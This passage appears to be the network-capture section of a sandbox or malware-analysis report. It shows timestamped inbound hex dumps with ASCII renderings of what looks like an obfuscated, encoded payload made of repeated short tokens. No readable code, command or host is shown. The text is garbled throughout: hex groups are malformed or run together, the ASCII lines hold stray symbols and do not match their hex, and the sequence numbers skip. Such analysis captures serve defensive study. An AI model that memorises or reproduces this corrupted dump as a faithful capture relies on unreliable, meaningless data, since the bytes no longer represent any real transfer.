2021-10-29 18:29:05 UTC 1146 IN Data Raw: 44 20 4f 20 71 4f 4f 20 4f 20 45 71 20 4f 20 71 4f 58 20 4f 20 71 71 4f 20 4f 20 4d 58 20 4f 20 71 4a 71 20 4f 20
57 70 20 4f 20 71 4f 44 20 4f 20 4d 58 20 4f 20 57 4f 20 4f 20 6d 58 20 4f 20 71 71 58 20 4f 20 58 57 20 4f 20 57 4f 20 4f
20 58 44 20 4f 20 71 4f 44 20 4f 20 71 4f 4f 20 4f 20 45 71 20 4f 20 71 4f 58 20 4f 20 71 71 4f 20 4f 20 4d 58 20 4f 20 6d
4d 20 4f 20 45 6d 20 4f 20 58 6d 20 4f 20 58 71 20 4f 20 58 44 20 4f 20 58 4a 20 4f 20 71 71 4a 20 4f 20 4d 58 20 4f 20 58
45 20 4f 20 58 44 20 4f 20 58 6d 20 4f 20 71 4f 4f 20 4f 20 45 71 20 4f 20 45 4f 20 4f 20 71 71 44 20 4f 20 4d 4d 20 4f 20
45 71 20 4f 20 71 4f 58 20 4f 20 71 71 45 20 4f 20 4d 4f 20 4f 20 6d 58 20 4f 20 45 58 20 4f 20 44 44 20 4f 20 45 44 20 4f 2
0 71 4f 4d 20 4f 20 45 58 20 4f 20
Data Ascii: D O qOO O Eq O qOX O qgO O MX O gJg O Wp O gOD O MX O WO O mX O gqgX O XW O WO O XD O
gqOD O gOO O Eq O qOX O qqO O MX O mM O Em O Xm O Xq O XD O XJ O ggJ O MX O XE O XD O Xm O qOO O Eq
OEO O qgD O MM O Eq O qOX O qgE O MO O mX O EX O DD O ED O qOM O EX O

2021-10-29 18:29:05 UTC 1149 IN Data Raw: 20 58 4d 20 4f 20 71 71 4a 20 4f 20 71 71 57 20 4f 20 44 4d 20 4f 20 71 4f 45 20 4f 20 6d 58 20 4f 20 71 71 4d
20 4f 20 58 45 20 4f 20 71 4f 58 20 4f 20 45 44 20 4f 20 71 4f 58 20 4f 20 71 71 4a 20 4f 20 44 44 20 4f 20 4d 4d 20 4f 20
45 6d 20 4f 20 45 70 20 4f 20 71 71 45 20 4f 20 4d 58 20 4f 20 71 71 58 20 4f 20 4d 58 20 4f 20 6d 45 20 4f 20 58 44 20 4f
20 71 4f 4a 20 4f 20 71 4f 6d 20 4f 20 71 4f 45 20 4f 20 58 4f 20 4f 20 71 4f 4a 20 4f 20 71 71 71 20 4f 20 58 70 20 4f 20 57
4f 20 4f 20 57 45 20 4f 20 58 70 20 4f 20 71 4f 45 20 4f 20 4d 45 20 4f 20 58 70 20 4f 20 71 71 71 20 4f 20 45 70 20 4f 20
45 71 20 4f 20 58 45 20 4f 20 45 44 20 4f 20 45 71 20 4f 20 45 71 20 4f 20 58 58 20 4f 20 71 4f 4a 20 4f 20 6d 58 20 4f 20
44 44 20 4f 20 71 71 58 20 4f 20 57
Data Ascii: XM O qgJ O qgW O DM O qOE O mX O qgqM O XE O gOX O ED O qOX O qgJ O DD O MM O Em O Ep O
qgE O MX O qgX O MX O mE O XD O qOJ O gOm O gOE O XO O q0J O ggq O Xp O WO O WE O Xp O qOE O ME O
Xp O qgq O Ep O Eq O XE O ED O Eq O Eq O XX O gOJ O mX O DD O qgX O W

2021-10-29 18:29:05 UTC 1153 IN Data Raw: 20 4f 20 45 70 20 4f 20 4d 58 20 4f 20 57 71 20 4f 20 44 58 20 4f 20 58 71 20 4f 20 44 4d 20 4f 20 44 44 20 4f
20 44 57 20 4f 20 58 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 4a 20 4f 20 45 70 20 4f 20 44 45 20 4f 20
44 58 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 71 71 4d 20 4f 20 71 4f 70 20 4f 20 71 4f 70 20 4f 20 45 70 20 4f 20 45 57
20 4f 20 44 57 20 4f 20 71 71 71 20 4f 20 45 70 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 58 20 4f 20 45 70
20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 45 71 20 4f 20 71 71 58 20 4f 20 57 4f 20 4f 20 58 70 20 4f 20 71 4a 4f 20 4f 20
6d 70 20 4f 20 71 4f 57 20 4f 20 45 6d 20 4f 20 71 4f 58 20 4f 20 57 45 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 71 4f 70 20 41
20 6d 45 20 4f 20 45 70 20 4f 20 45
Data Ascii: O Ep O MX O Wgq O DX O Xq O DM O DD O DW O Xg O XW O DW O DW O WJ O Ep O DE O DX O qgqM O
DW O ggqM O qOp O qOp O Ep O EW O DW O qgqq O Ep O DE O DW O Xg O DX O Ep O Eq O qqM O Eq O gqgX O WO
OXpOqJOOmpOgOW O EmO qOXOWEODWOMOOQqOpOmMEOEpOE

2021-10-29 18:29:05 UTC 1157 IN Data Raw: 4f 20 45 71 20 4f 20 44 4d 20 4f 20 4d 4f 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 44 58 20 4f 20
58 71 20 4f 20 58 58 20 4f 20 71 4f 4f 20 4f 20 45 4f 20 4f 20 45 57 20 4f 20 45 70 20 4f 20 57 57 20 4f 20 58 4a 20 4f 20
45 58 20 4f 20 58 44 20 4f 20 57 44 20 4f 20 45 71 20 4f 20 44 4d 20 4f 20 71 4f 70 20 4f 20 58 4a 20 4f 20 58 44 20 4f 20
45 45 20 4f 20 44 57 20 4f 20 57 4a 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 6d 4d 20 4f 20 58 57 20 4f 20 71 4f 4f 20 4f 20
44 58 20 4f 20 71 71 4d 20 4f 20 44 4d 20 4f 20 44 44 20 4f 20 6d 45 20 4f 20 71 71 4d 20 4f 20 58 71 20 4f 20 44 4d 20 4f
20 44 57 20 4f 20 71 71 4d 20 4f 20 45 70 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20 58 70
20 4f 20 44 44 20 4f 20 71 4f 70 20 4f
Data Ascii: OEqO DM O MO O Ep ODW O mE O DX O Xq O XX O gOO OEO O EW O Ep OWW O XJOEXO XD O
WD O Eq O DM O qOp O XJ O XD O EE O DW O WJ O Eq O DW O mM O XW O qOO O DX O qgM O DM O DD O mE
O qgM O Xqg O DM O DW O qgM O Ep O DD O qOm O qOD O DW O Xp O DD O qOp O
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Timestamp transferred Direction Data

2021-10-29 18:29:05 UTC 1161 IN Data Raw: 20 44 45 20 4f 20 71 4f 4a 20 4f 20 58 57 20 4f 20 45 4f 20 4f 20 4d 58 20 4f 20 45 44 20 4f 20 71 4f 4a 20 4f
20 58 70 20 4f 20 4d 4f 20 4f 20 45 4f 20 4f 20 71 71 6d 20 4f 20 58 4d 20 4f 20 45 57 20 4f 20 71 4f 57 20 4f 20 45 44 20
4f 20 44 45 20 4f 20 58 70 20 4f 20 57 70 20 4f 20 57 71 20 4f 20 71 4a 4f 20 4f 20 45 4d 20 4f 20 58 44 20 4f 20 57 70 20
4f 20 45 45 20 4f 20 57 71 20 4f 20 71 4f 45 20 4f 20 71 4f 70 20 4f 20 57 45 20 4f 20 71 4f 4d 20 4f 20 71 4a 4a 20 4f 20
58 70 20 4f 20 58 45 20 4f 20 71 4f 4d 20 4f 20 71 4f 70 20 4f 20 71 4f 58 20 4f 20 71 4f 4a 20 4f 20 71 4f 44 20 4f 20 71 71
58 20 4f 20 57 71 20 4f 20 57 71 20 4f 20 71 71 57 20 4f 20 58 44 20 4f 20 45 57 20 4f 20 58 4a 20 4f 20 71 4a 4a 20 4f 20
71 4f 44 20 4f 20 6d 70 20 4f 20 45
Data Ascii: DE O qOJ O XW O EO O MX O ED O gOJ O Xp O MO O EO O ggm O XM O EW O gOW O ED O DE O Xp
O Wp O Wq O qJOOEMO XD O Wp O EE O Wg O qOE O gOp O WE O gOM O qJJ O Xp O XE O gOM O qOp O qOX
0 g0J O gOD O ggX O Wgq O Wq O ggW O XD O EW O XJ 0 qJJ O gOD O mp O E

2021-10-29 18:29:05 UTC 1165 IN Data Raw: 45 20 4f 20 58 44 20 4f 20 6d 70 20 4f 20 71 71 71 20 4f 20 71 4f 44 20 4f 20 57 70 20 4f 20 45 70 20 4f 20 57
45 20 4f 20 57 4f 20 4f 20 58 6d 20 4f 20 71 4f 4a 20 4f 20 57 6d 20 4f 20 57 4f 20 4f 20 58 4f 20 4f 20 45 45 20 4f 20 45 7C
20 4f 20 45 71 20 4f 20 71 4f 44 20 4f 20 45 45 20 4f 20 45 70 20 4f 20 45 71 20 4f 20 45 4d 20 4f 20 71 71 4a 20 4f 20 45
70 20 4f 20 45 71 20 4f 20 45 44 20 4f 20 45 45 20 4f 20 45 70 20 4f 20 45 71 20 4f 20 45 70 20 4f 20 45 45 20 4f 20 58 71
20 4f 20 71 71 57 20 4f 20 71 71 4d 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 58 4d 20 4f 20 44 58 20 4f 20 58 44 20 4f 20 58
71 20 4f 20 58 71 20 4f 20 45 71 20 4f 20 44 4d 20 4f 20 71 71 4d 20 4f 20 45 6d 20 4f 20 58 44 20 4f 20 58 57 20 4f 20 71
4a 4a 20 4f 20 44 4d 20 4f 20 58 6d
Data Ascii: EO XD O mp O qqqg O qOD O Wp O EpOWE O WO O Xm O gOJOWmOWO OXOOEEOEpOEqOQq
ODOEEOEpOEqOEMOqqlOEpOEqOEDOEEOEpOEqgOEpOEE O XgO qqW O ggM O DE O Xq O XM
O DX O XD O Xq O XqO EqO DM O ggM O Em O XD O XW O gJJ O DM O Xm

2021-10-29 18:29:05 UTC 1169 IN Data Raw: 4f 20 71 71 4f 20 4f 20 44 45 20 4f 20 57 44 20 4f 20 57 4a 20 4f 20 71 4f 4d 20 4f 20 71 4f 4f 20 4f 20 57 4a 20
4f 20 71 4f 70 20 4f 20 58 4d 20 4f 20 58 4a 20 4f 20 44 58 20 4f 20 71 4f 70 20 4f 20 57 4f 20 4f 20 4d 4f 20 4f 20 58 4a 20
4f 20 58 4a 20 4f 20 71 71 71 20 4f 20 71 4f 70 20 4f 20 45 4d 20 4f 20 4d 4d 20 4f 20 4d 4f 20 4f 20 58 57 20 4f 20 71 4f
45 20 4f 20 71 4a 4f 20 4f 20 58 71 20 4f 20 71 71 57 20 4f 20 45 57 20 4f 20 58 71 20 4f 20 45 70 20 4f 20 58 58 20 4f 20
45 70 20 4f 20 45 58 20 4f 20 71 71 58 20 4f 20 45 57 20 4f 20 45 4f 20 4f 20 44 4d 20 4f 20 4d 58 20 4f 20 71 71 6d 20 4f
20 57 71 20 4f 20 71 71 44 20 4f 20 71 4f 45 20 4f 20 45 4d 20 4f 20 71 4a 4a 20 4f 20 71 4f 44 20 4f 20 57 70 20 4f 20 58
4d 20 4f 20 57 70 20 4f 20 71 4f
Data Ascii: O ggO O DE O WD O WJ O gOM O qOO O WJ O gOp O XM O XJ O DX O gOp O WO O MO O XJ O XJ O g
g O qOp O EM O MM O MO O XW O qOE O qJO O Xq O qgW O EW O X O Ep O XX O Ep O EX O qgX O EW O EO
0 DM O MX O ggm O Wgq O ggD O qOE O EM O gJJ O qOD O Wp O XM O Wp O qO

2021-10-29 18:29:05 UTC 1174 IN Data Raw: 20 4f 20 71 4f 4f 20 4f 20 4d 45 20 4f 20 71 4a 71 20 4f 20 71 71 57 20 4f 20 71 4f 45 20 4f 20 71 4a 4a 20 4f 20
71 4f 6d 20 4f 20 71 4f 45 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 4f 4a 20 4f 20 71 4f
4d 20 4f 20 71 4f 4d 20 4f 20 71 4f 44 20 4f 20 71 71 6d 20 4f 20 71 4a 71 20 4f 20 71 71 45 20 4f 20 71 71 6d 20 4f 20 71
4f 70 20 4f 20 71 71 6d 20 4f 20 71 4f 4f 20 4f 20 4d 4d 20 4f 20 71 4a 4a 20 4f 20 70 45 20 4f 20 71 71 4f 20 4f 20 70 45
20 4f 20 71 4f 71 20 4f 20 71 4f 4d 20 4f 20 71 71 6d 20 4f 20 71 71 71 20 4f 20 71 71 4a 20 4f 20 71 4f 58 20 420 71 71 6
d 20 4f 20 71 4f 57 20 4f 20 71 4f 57 20 4f 20 71 4f 4d 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 70 45 20 4f 20 71 4a 71 20
4f 20 71 4f 4d 20 4f 20 71 4a
Data Ascii: O gOO O ME O gJgq O qqW O qOE O qJJ O gOm O qOE O qOW O pE O qOW O pE O qOJ O qOM O qOM
0O qOD O gqgm O gJq O qgE O ggm O qOp O ggm O OO O MM O gJJ O pE O qqO O pE O qOq O qOM O qgm O qgqq O
qqJ O gOX O ggm O qgOW O qOW O qOM O pE O qOO O pE O gqJq O qOM O gqJ

2021-10-29 18:29:05 UTC 1178 IN Data Raw: 20 4f 20 71 71 4d 20 4f 20 71 4f 6d 20 4f 20 71 71 44 20 4f 20 71 71 45 20 4f 20 71 4f 44 20 4f 20 70 45 20 4f
20 71 4f 57 20 4f 20 70 45 20 4f 20 71 4a 71 20 4f 20 71 4f 45 20 4f 20 4d 4d 20 4f 20 71 71 44 20 4f 20 71 4a 4a 20 4f 20
71 4f 71 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 4f 4d 20 4f 20 71 4a 71 20 4f 20 71 4f 57 20 4f 20 71
7171 20 4f 20 71 4f 6d 20 4f 20 71 71 70 20 4f 20 71 4f 4a 20 4f 20 4d 4d 20 4f 20 71 4f 4a 20 4f 20 71 4f 58 20 4f 20 71 41
6d 20 4f 20 71 71 70 20 4f 20 71 71 71 20 4f 20 71 71 44 20 4f 20 70 45 20 4f 20 4d 45 20 4f 20 70 45 20 4f 20 71 71 44 2C
4207171 4520 4f20 71 71 44 20 4f 20 71 71 71 20 4f 20 71 4f 4a 20 4f 20 70 45 20 4f 20 4d 58 20 4f 20 70 45 20 4f 20
71 4f 70 20 4f 20 71 71 44 20 4f 20
Data Ascii: O qgM O qOm O ggD O gqE O qOD O pE O qOW O pE O gJg O qOE O MM O gqgD O gJJ O qOg O pE O
qqW O pE O qOM O gJg O qOW O gqgq © qOm O qgp O qOJ O MM O gqOJ O gOX O qOm O qqp O qqq O qgb O pE O
ME O pE O qgD O gqqE O qgD O gqg O qOJ O pE O MX O pE O qOp O qqD O

2021-10-29 18:29:05 UTC 1181 IN Data Raw: 4f 20 71 4f 57 20 4f 20 71 4f 4a 20 4f 20 71 71 4f 20 4f 20 71 4f 70 20 4f 20 71 4a 4a 20 4f 20 71 4f 6d 20 4f 20
71 4f 58 20 4f 20 70 45 20 4f 20 71 71 44 20 4f 20 70 45 20 4f 20 71 71 6d 20 4f 20 4d 45 20 4f 20 71 4f 70 20 4f 20 71 4f
70 20 4f 20 71 71 58 20 4f 20 70 45 20 4f 20 44 71 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 71 71 58 20 4f 20 71 4f 71 20
4f 20 71 71 4a 20 4f 20 4d 58 20 4f 20 70 45 20 4f 20 70 4a 20 4f 20 70 45 20 4f 20 71 4f 44 20 4f 20 71 4f 71 20 4f 20 4d
45 20 4f 20 71 4f 4d 20 4f 20 71 4f 6d 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 70 45 20 4f 20 71 71 45 20 4f 20 71 4f 58
20 4f 20 71 71 6d 20 4f 20 71 71 58 20 4f 20 71 4f 6d 20 4f 20 71 71 4d 20 4f 20 71 4f 4f 20 4f 20 71 458 20 4f 20 71 71 7
1204f20717157 204207171
Data Ascii: O gOW O qOJ O gqqO O qOp O gJJ O gOm O qOX O pE O qgD O pE O ggm O ME O qOp O gqOp O qgX O
pE O Dg O pE O qOO O ggX O qOg O qgJ O MX O pE O pJ O pE O qOD O qOg O ME O qOM O qOm O pE O qOO O
pE O qgE O qOX O qgm O ggX O qOm O qgqM O qOO O qOX O qqq O qqW O qq

2021-10-29 18:29:05 UTC 1185 IN Data Raw: 70 45 20 4f 20 71 4f 57 20 4f 20 71 4f 70 20 4f 20 4d 45 20 4f 20 71 4f 58 20 4f 20 71 4f 45 20 4f 20 71 4f 57 20
4f 20 4d 45 20 4f 20 71 4a 4f 20 4f 20 71 71 44 20 4f 20 71 71 4a 20 4f 20 70 45 20 4f 20 4d 45 20 4f 20 70 45 20 4f 20 71
717120 4f 20 71 4f 58 20 4f 20 71 71 57 20 4f 20 71 71 45 20 4f 20 71 71 58 20 4f 20 4d 4d 20 4f 20 71 71 45 20 4f 20 4d
58 20 4f 20 71 4a 4f 20 4f 20 71 4f 4d 20 4f 20 4d 45 20 4f 20 71 4f 4d 20 4f 20 71 71 4d 20 4f 20 70 45 20 4f 20 4d 45 20
4f 20 70 45 20 4f 20 71 71 71 20 4f 20 71 71 6d 20 4f 20 71 71 4d 20 4f 20 71 71 70 20 4f 20 71 71 4f 20 4f 20 71 71 4a 20
4f 20 4d 45 20 4f 20 71 71 6d 20 4f 20 71 4a 71 20 4f 20 4d 58 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71
4f 57 20 4f 20 4d 4d 20 4f 20 71 71
Data Ascii: pE O gOW O qOp O ME O qOX O qOE O qOW O ME O gJO O qgD O ggJ O pE O ME O pE O qqq O qOX O
qqW O gqgE O gqgX O MM O gqgqE O MX O qJO O qOM O ME O qOM O qgM O pE O ME O pE O gqqg O qgm O qgM O qq
p O qqO O qqJ O ME O qgm O gJgq O MX O pE O qqW O pE O qOW O MM O qq

2021-10-29 18:29:05 UTC 1189 IN Data Raw: 4f 57 20 4f 20 71 71 58 20 4f 20 71 71 4f 20 4f 20 70 45 20 4f 20 71 71 6d 20 4f 20 70 45 20 4f 20 71 4a 71 20
4f 20 4d 45 20 4f 20 71 71 4f 20 4f 20 71 4f 6d 20 4f 20 71 71 4d 20 4f 20 71 4f 4a 20 4f 20 71 4f 57 20 4f 20 4d 4d 20 4f 2C
4d 4d 20 4f 20 71 4a 4f 20 4f 20 71 4f 71 20 4f 20 70 45 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 4f 6d 20 4f 20 71 71
4420 4f 20 71 71 4a 20 4f 20 71 71 71 20 4f 20 71 71 70 20 4f 20 70 45 20 4f 20 71 71 44 20 4f 20 70 45 20 4f 20 71 4f 4f
20 4f 20 71 71 4d 20 4f 20 71 71 45 20 4f 20 4d 4d 20 4f 20 71 4f 44 20 4f 20 4d 45 20 4f 20 71 4a 4a 20 4f 20 71 71 45 20
4f 20 71 4a 4f 20 4f 20 71 4a 71 20 4f 20 71 71 44 20 4f 20 71 4a 4f 20 4f 20 70 45 20 4f 20 71 4a 71 20 4f 20 70 45 20 4f 2
0 4d 45 20 4f 20 71 4f 44 20 4f 20
Data Ascii: OW O qgX O qqO O pE O ggm O pE O gJgq O ME O qqO O qOm O gqgM O qOJ O gOW O MM O MM O gJO
0O qOq O pE O qOW O pE O gOm O gqgD O qqJ O qqq O gqgp O pE O qgb O pE O gOO O qgM O qgE O MM O qOD O M
E O qJJ O qqE O qJO O gJq O qgD O gqJO O pE O gJq O pE O ME O qOD O
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Timestamp transferred Direction Data

2021-10-29 18:29:05 UTC 1193 IN Data Raw: 20 71 71 4d 20 4f 20 71 4f 71 20 4f 20 71 4a 71 20 4f 20 71 4f 6d 20 4f 20 71 71 4a 20 4f 20 71 4f 4a 20 4f 20
71 4f 58 20 4f 20 71 4f 4d 20 4f 20 71 4f 45 20 4f 20 71 71 58 20 4f 20 71 71 71 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20
70 45 20 4f 20 4d 4d 20 4f 20 71 4f 4d 20 4f 20 71 4a 4f 20 4f 20 71 71 4a 20 4f 20 71 71 45 20 4f 20 70 45 20 4f 20 4d 4d
20 4f 20 70 45 20 4f 20 71 4f 44 20 4f 20 71 71 6d 20 4f 20 71 4f 58 20 4f 20 71 71 44 20 4f 20 70 45 20 4f 20 70 4a 20 4f
20 70 45 20 4f 20 71 4f 6d 20 4f 20 71 4f 44 20 4f 20 71 4f 44 20 4f 20 71 71 4a 20 4f 20 71 4f 4a 20 4f 20 71 4a 4f 20 4f 20
714a71 20 4f 20 71 71 4f 20 4f 20 71 71 45 20 4f 20 71 4f 58 20 4f 20 71 71 44 20 4f 20 71 4a 4a 20 4f 20 71 4f 71 20 4f 2
0 71 4f 6d 20 4f 20 70 45 20 4f 20
Data Ascii: qgM O qOg O gJgq O gOm O ggJ O gqOJ O gOX O gOM O gOE O qgX O qqq O pE O qgqW O pE O MM O
qOM O qJO O qgJ O qqE O pE O MM O pE O qOD O ggm O qOX O qgb O pE O pJ O pE O gOm O qOD O qOD O qqJ
0 g0J 0 gJO O glgO ggqO O gqgE O gOX O qgb O gJJ O gOg O gOm O pE O

2021-10-29 18:29:05 UTC 1197 IN Data Raw: 20 4f 20 4d 45 20 4f 20 71 4f 71 20 4f 20 71 4f 6d 20 4f 20 71 4f 71 20 4f 20 71 4f 44 20 4f 20 71 4f 4f 20 4f 20
71 71 4f 20 4f 20 71 71 71 20 4f 20 71 4f 4d 20 4f 20 70 45 20 4f 20 71 71 71 20 4f 20 70 45 20 4f 20 71 4a 71 20 4f 20 4d
4d 20 4f 20 71 4f 71 20 4f 20 71 71 71 20 4f 20 71 4f 4f 20 4f 20 71 4f 70 20 4f 20 71 71 6d 20 4f 20 70 45 20 4f 20 71 71 4
20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 71 4f 4d 20 4f 20 71 4f 45 20 4f 20 71 4a 4f 20 4f 20 71 4f 4a 20 4f 20 71 71 71 20
4f 20 71 71 57 20 4f 20 71 71 44 20 4f 20 71 4f 44 20 4f 20 71 4a 4f 20 4f 20 70 45 20 4f 20 71 4f 4a 20 4f 20 70 45 20 4f
20 71 71 57 20 4f 20 71 71 4f 20 4f 20 4d 45 20 4f 20 71 71 4a 20 4f 20 71 4f 57 20 4f 20 71 4a 71 20 4f 20 71 4f 70 20 4f
2071714a204f207171 44
Data Ascii: O ME O gOg O qOm O gOg O qOD O qOO O qqO O ggg O gOM O pE O qqq O pE O gJg O MM O qOq O
qgq O qOO O gqOp O gqgm O pE O gqO O pE O gOO O qOM O gOE O qJO 0 qOJ O qqq O qgW O gqgb O gOD O qJO O
pE O qOJ O pE O qgW O gqO O ME O ggJ O gOW O qJg O qOp O qgJ O qgqD

2021-10-29 18:29:05 UTC 1201 IN Data Raw: 71 4f 57 20 4f 20 71 4f 71 20 4f 20 71 4a 4a 20 4f 20 70 45 20 4f 20 71 71 6d 20 4f 20 70 45 20 4f 20 71 71 45
20 4f 20 71 4f 6d 20 4f 20 71 71 4d 20 4f 20 71 71 44 20 4f 20 71 4f 71 20 4f 20 71 71 4d 20 4f 20 71 4f 4520 4f 20 71 71
4a 20 4f 20 71 71 4f 20 4f 20 71 71 4f 20 4f 20 70 45 20 4f 20 71 71 58 20 4f 20 70 45 20 4f 20 71 71 4f 20 4f 20 71 71 4a
20 4f 20 71 71 44 20 4f 20 71 4f 4d 20 4f 20 71 4a 71 20 4f 20 71 4f 4f 20 4f 20 71 71 4d 20 4f 20 71 4a 4f 20 4f 20 71 4f 4d
20 4f 20 70 45 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 4f 58 20 4f 20 71 4f 4d 20 4f 20 71 71 45 20 4f 20 71 4f 4a 20 41
20 71 71 4f 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 4d 4d 20 4f 20 70 45 20 4f 20 71 71 4d 20 4f 20 71 71 4d 20 4f 20 4d
4d 20 4f 20 71 71 44 20 420 71
Data Ascii: qOW O qOq O gJJ O pE O qgm O pE O qgE O gOm O gqgM O qgD O qOq O gqgM O qOE O qgJ O qqO O
qqO O pE O qgX O pE O qgqO O ggJ O qgqb © gOM O gJg O qOO O gqgqM O gqJO O qOM O pE O qOW O pE O qOX O qO
M O gqqE O qOJ O qqO O qgW O pE O MM O pE O qqgM O qgM O MM O qgD O q

2021-10-29 18:29:05 UTC 1206 IN Data Raw: 20 4f 20 71 71 44 20 4f 20 70 45 20 4f 20 4d 4d 20 4f 20 71 4f 57 20 4f 20 71 4f 58 20 4f 20 71 4a 4a 20 4f 20
70 45 20 4f 20 71 4f 71 20 4f 20 70 45 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 4d 58 20 4f 20 4d 4d 20 4f 20 71 71 4a 20
4f 20 71 4f 4f 20 4f 20 71 71 44 20 4f 20 71 71 70 20 4f 20 71 71 4f 20 4f 20 71 4f 4f 20 4f 20 71 4a 4f 20 4f 20 4d 58 20 4f
20 70 45 20 4f 20 71 4f 4d 20 4f 20 70 45 20 4f 20 71 4f 6d 20 4f 20 71 4f 71 20 4f 20 71 71 44 20 4f 20 71 71 45 20 4f 20
71 4a 4f 20 4f 20 70 45 20 4f 20 45 4a 20 4f 20 70 45 20 4f 20 71 71 4f 20 4f 20 71 4f 6d 20 4f 20 71 71 6d 20 4f 20 4d 58
20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 71 71 20 4f 20 70 45 20 4f 20 71 4a 71 20 4f 20 71 4f 4d 20 4f 20 71 71 58 20
4f 20 71 71 45 20 4f 20 4d 58 20 4f
Data Ascii: O qgD O pE O MM O qOW O gqOX O gJJ O pE O qOg O pE O MX O gqgM O MX O MM O gqJ O gOO O qqD
0O qgp © gqO O qOO O gJO O MX O pE O gOM O pE O gOm O qOq O qgD O gqE O qJO O pE O EJ O pE O qqO O
gqOm O gqgm O MX O qOW O pE O qgq O pE O gJg O qOM O qgX O qqE O MX O

2021-10-29 18:29:05 UTC 1210 IN Data Raw: 58 20 4f 20 71 71 4f 20 4f 20 71 71 58 20 4f 20 4d 4d 20 4f 20 71 71 4f 20 4f 20 71 4f 44 20 4f 20 71 71 58 20 4f
2071 4a 71 20 4f 20 71 71 58 20 4f 20 71 4f 57 20 4f 20 71 4f 57 20 4f 20 71 4f 6d 20 4f 20 71 4f 58 20 4f 20 70 45 20 4f
20 71 4f 71 20 4f 20 70 45 20 4f 20 71 71 4f 20 4f 20 71 71 6d 20 4f 20 71 71 45 20 4f 20 71 71 4a 20 4f 20 71 71 6d 20 4f
20 71 4f 71 20 4f 20 71 71 4d 20 4f 20 71 71 44 20 4f 20 70 45 20 4f 20 71 71 6d 20 4f 20 70 45 20 4f 20 71 4f 4d 20 4f 20
71 71 4f 20 4f 20 71 71 6d 20 4f 20 4d 58 20 4f 20 71 4f 57 20 4f 20 71 4f 70 20 4f 20 71 4a 4f 20 4f 20 71 4f 4d 20 4f 20 71
4a 71 20 4f 20 71 4a 4a 20 4f 20 71 4f 4a 20 4f 20 71 4f 45 20 4f 20 71 4a 4a 20 4f 20 70 45 20 4f 20 71 71 58 20 4f 20 70
45 20 4f 20 4d 58 20 4f 20 4d 4d
Data Ascii: X O qqO O gqgX O MM O gqO O qOD O ggX O gJg O ggX O gOW O qOW O qOm O qOX O pE O qOq O pE
0 qgO O qqm O gqE O gqJ O ggm O qOqg O qgqM O qgD O pE O qgm O pE O gOM O gqgO O ggm O MX O qOW O qOp
0 qJO O qOM O gJq O qJJ O qOJ O qOE O gJJ O pE O qgX O pE O MX O MM

2021-10-29 18:29:05 UTC 1213 IN Data Raw: 4f 20 71 4a 4a 20 4f 20 4d 45 20 4f 20 71 4f 57 20 4f 20 4d 58 20 4f 20 70 45 20 4f 20 71 4f 58 20 4f 20 70 45
20 4f 20 71 4f 58 20 4f 20 71 4a 4f 20 4f 20 4d 4d 20 4f 20 71 71 6d 20 4f 20 71 71 57 20 4f 20 71 71 4520 4§20 71 71 71
20 420 71 4f 44 20 4f 20 71 71 71 20 4f 20 70 45 20 4f 20 71 4f 71 20 4f 20 70 45 20 4f 20 71 71 4a 20 4f 20 71 4f 70 20
4f20 71 4f 71 20 4f 20 71 71 45 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 4f 44 20 4f 20 71 71 45 20 4f
20 71 4f 4f 20 4f 20 71 4f 44 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 4d 4a 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 71 4f
44 20 4f 20 71 4f 6d 20 4f 20 71 4f 4f 20 4f 20 71 4f 4a 20 4f 20 4d 58 20 4f 20 71 4f 58 20 4f 20 71 4a 4a 20 4f 20 71 4f 4f
204f20714f44204f2071 71
Data Ascii: O gJJ O ME O qOW O MX O pE O qOX O pE O qOX O qJO O MM O ggm O qqW O ggE O qqq O qOD O qqq
O pE O qOq O pE O qgqJ O qOp O qOqg O qgE O pE O qqW O pE O qOD O ggE O qOO O qOD O qOW O pE O MJ O pE
0O OO0 O qOD O gOm O gOO O gOJ O MX O gOX © qJJ © qOO O qOD O qq

2021-10-29 18:29:05 UTC 1229 IN Data Raw: 4a 20 4f 20 71 4a 70 20 4f 20 57 4a 20 4f 20 44 58 20 4f 20 57 71 20 4f 20 57 6d 20 4f 20 44 4d 20 4f 20 57 45
20 4f 20 57 6d 20 4f 20 57 44 20 4f 20 6d 57 20 4f 20 44 4d 20 4f 20 57 71 20 4f 20 57 4f 20 4f 20 57 70 20 4f 20 6d 57 20
4f 20 6d 4d 20 4f 20 6d 4d 20 4f 20 44 45 20 4f 20 44 4d 20 4f 20 6d 57 20 4f 20 44 44 20 4f 20 45 4f 20 4f 20 44 45 20 4f
20 6d 4d 20 4f 20 6d 57 20 4f 20 6d 58 20 4f 20 57 44 20 4f 20 6d 58 20 4f 20 6d 58 20 4f 20 57 4f 20 4f 20 44 44 20 4f 20
44 4d 20 4f 20 6d 4d 20 4f 20 6d 58 20 4f 20 57 71 20 4f 20 6d 4d 20 4f 20 57 44 20 4f 20 71 4a 57 20 4f 20 4d 4a 20 4f 20
